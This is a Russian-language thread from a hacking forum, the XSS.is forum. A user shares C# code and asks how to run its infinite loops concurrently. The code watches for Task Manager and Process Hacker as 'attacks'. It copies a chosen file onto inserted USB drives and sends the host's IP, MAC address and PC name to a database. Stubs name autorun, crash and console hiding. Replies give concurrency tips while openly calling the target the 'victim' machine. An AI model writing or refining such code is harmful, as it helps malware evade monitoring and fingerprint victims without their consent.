• XSS.stack #1 – первый литературный журнал от юзеров форума

[C#] Многозадачное приложение

Ags1of

RAM
Пользователь
Регистрация
26.11.2021
Сообщения
122
Реакции
1
Написал приложение, у которого есть несколько функций, которые всё время крутят цикл while. Это защита от запуска диспетчера задач и ЮсбСерчер, они стоят на while(true) циклах, тем самым, не давая выполняться другим методам, да и вообще, когда в какой-то из этих метов заходит программа, то она весит только на нём, а дальше не идёт. А мне надо сделать так, чтобы и другие методы выполнялись тоже.
C#:
 async static Task Main(string[] args)
        {
            //AutoRun(IsInAutoRun());
            //Crash();
            //USBSearcher();
            //ToDef();
            //Defense();
            await StartDefensive();
            Sql(IPAdress(), GetMacAdress(), NameOfPC(), DateTime.Now);
            //SecondSaveFile();
            //HideConsole();
            //AllPathesToSave();
        async static Task StartDefensive()
        {
            Console.WriteLine("Подготовка к запуску защиты");
            await Task.Run(() => Defense());
            Console.WriteLine("Защита запущена!");
        }

        
         public static void Defense()
        {
            
            bool attack = false;
            

            while (1 > 0)
            {
                Thread.Sleep(2000);
                Console.WriteLine("Защита работает");
                Process[] procList = Process.GetProcesses();
                string[] attackedProcess = { "processhacker", "taskmgr" };

                foreach (Process p in procList)
                {
                    
                    for (int i = 0; i < attackedProcess.Length; i++)
                    {
                        if (p.ProcessName.ToLower() == attackedProcess[i])
                        {
                            Console.WriteLine("Detected: " + p.ProcessName);
                            attack = true;
                            if (attack)
                            {
                                Console.WriteLine("Процесс прекращён");

                                string[] exit = { "false" };
                                Main(exit);
                            }
                        }
                        else
                        {
                            
                            continue;
                        }
                    }
                    
                }
                Console.WriteLine("\n");

                if (attack)
                {
                    break;
                }
            }
        }
        
      public static void USBSearcher()
        {
            Console.Write("Add Path: ");
            string PATH = Console.ReadLine();
            
            while (true)
            {
                Thread.Sleep(2000);
                foreach (var dInfo in DriveInfo.GetDrives())
                {
                    if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
                    {
                        Console.WriteLine(dInfo);
                        string USBPath = dInfo.ToString();
                        try
                        {
                            string outFile =USBPath + Path.GetFileName(PATH); ;
                            File.Move(PATH, outFile);
                            Console.WriteLine("Yes");
                        }
                        catch
                        {
                            Console.WriteLine("No");
                        }
                        
                    }
                    else
                    {
                        Console.WriteLine("No");
                        continue;
                    }
                }
            }
        }
 
Написал приложение, у которого есть несколько функций, которые всё время крутят цикл while. Это защита от запуска диспетчера задач и ЮсбСерчер, они стоят на while(true) циклах, тем самым, не давая выполняться другим методам, да и вообще, когда в какой-то из этих метов заходит программа, то она весит только на нём, а дальше не идёт. А мне надо сделать так, чтобы и другие методы выполнялись тоже.
C#:
 async static Task Main(string[] args)
        {
            //AutoRun(IsInAutoRun());
            //Crash();
            //USBSearcher();
            //ToDef();
            //Defense();
            await StartDefensive();
            Sql(IPAdress(), GetMacAdress(), NameOfPC(), DateTime.Now);
            //SecondSaveFile();
            //HideConsole();
            //AllPathesToSave();
        async static Task StartDefensive()
        {
            Console.WriteLine("Подготовка к запуску защиты");
            await Task.Run(() => Defense());
            Console.WriteLine("Защита запущена!");
        }

       
         public static void Defense()
        {
           
            bool attack = false;
           

            while (1 > 0)
            {
                Thread.Sleep(2000);
                Console.WriteLine("Защита работает");
                Process[] procList = Process.GetProcesses();
                string[] attackedProcess = { "processhacker", "taskmgr" };

                foreach (Process p in procList)
                {
                   
                    for (int i = 0; i < attackedProcess.Length; i++)
                    {
                        if (p.ProcessName.ToLower() == attackedProcess[i])
                        {
                            Console.WriteLine("Detected: " + p.ProcessName);
                            attack = true;
                            if (attack)
                            {
                                Console.WriteLine("Процесс прекращён");

                                string[] exit = { "false" };
                                Main(exit);
                            }
                        }
                        else
                        {
                           
                            continue;
                        }
                    }
                   
                }
                Console.WriteLine("\n");

                if (attack)
                {
                    break;
                }
            }
        }
       
      public static void USBSearcher()
        {
            Console.Write("Add Path: ");
            string PATH = Console.ReadLine();
           
            while (true)
            {
                Thread.Sleep(2000);
                foreach (var dInfo in DriveInfo.GetDrives())
                {
                    if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
                    {
                        Console.WriteLine(dInfo);
                        string USBPath = dInfo.ToString();
                        try
                        {
                            string outFile =USBPath + Path.GetFileName(PATH); ;
                            File.Move(PATH, outFile);
                            Console.WriteLine("Yes");
                        }
                        catch
                        {
                            Console.WriteLine("No");
                        }
                       
                    }
                    else
                    {
                        Console.WriteLine("No");
                        continue;
                    }
                }
            }
        }
Помимо этих методов, должны работать и другие, но они должны работать вместе с защитой. т.е., когда защита срабатывает, работа приложения должна либо завершиться полностью, либо заморозиться на время. Как сделать так, чтобы другие методы работали под защитой?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тебе нужно копать в сторону асинхронности (потоки и тд).

+ Учитывай, что бесконечный цикл будет жрать столько вычислительной мощности, что компьютер жертвы ахуеет от жизни :))
Решения проблемы :
1) Thread.Sleep(время в милисекундах) - Тобишь в конце цикла будет задержка. 20мс Хватит. Человеческий глах такое не видит, а на машинном уровне - это очень облегчает задачу процессу.
2) Вариант более заёбистый - Хуки и Ивенты. Советовать их на раннем этапе изучения Языка программирования не буду, тема со своими подводными, думаю на данный момент тебе просто хватит асинхронного запуска методов и установки задержки в конце каждого цикла, чтобы атакуемый комп не взорвался от количества операций.
 
Как писал уже на другом форуме:
Повесить WndProc на отлов флешек и запуск процессов и их отлавливать, в момент когда поймал, выполнить метод и никакие циклы с while (true) не нужны
 
Пожалуйста, обратите внимание, что пользователь заблокирован
WndProc внутри и вызывается в бесконечном цикле из GetMessage/PeakMessage + DispatchMessage.
 
Async,Await в помощь, легкий как два пальца, но для него нужен фреймворк выше 4.0
а так, background worker, он чуть по сложнее, но тоже более менее легкий
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх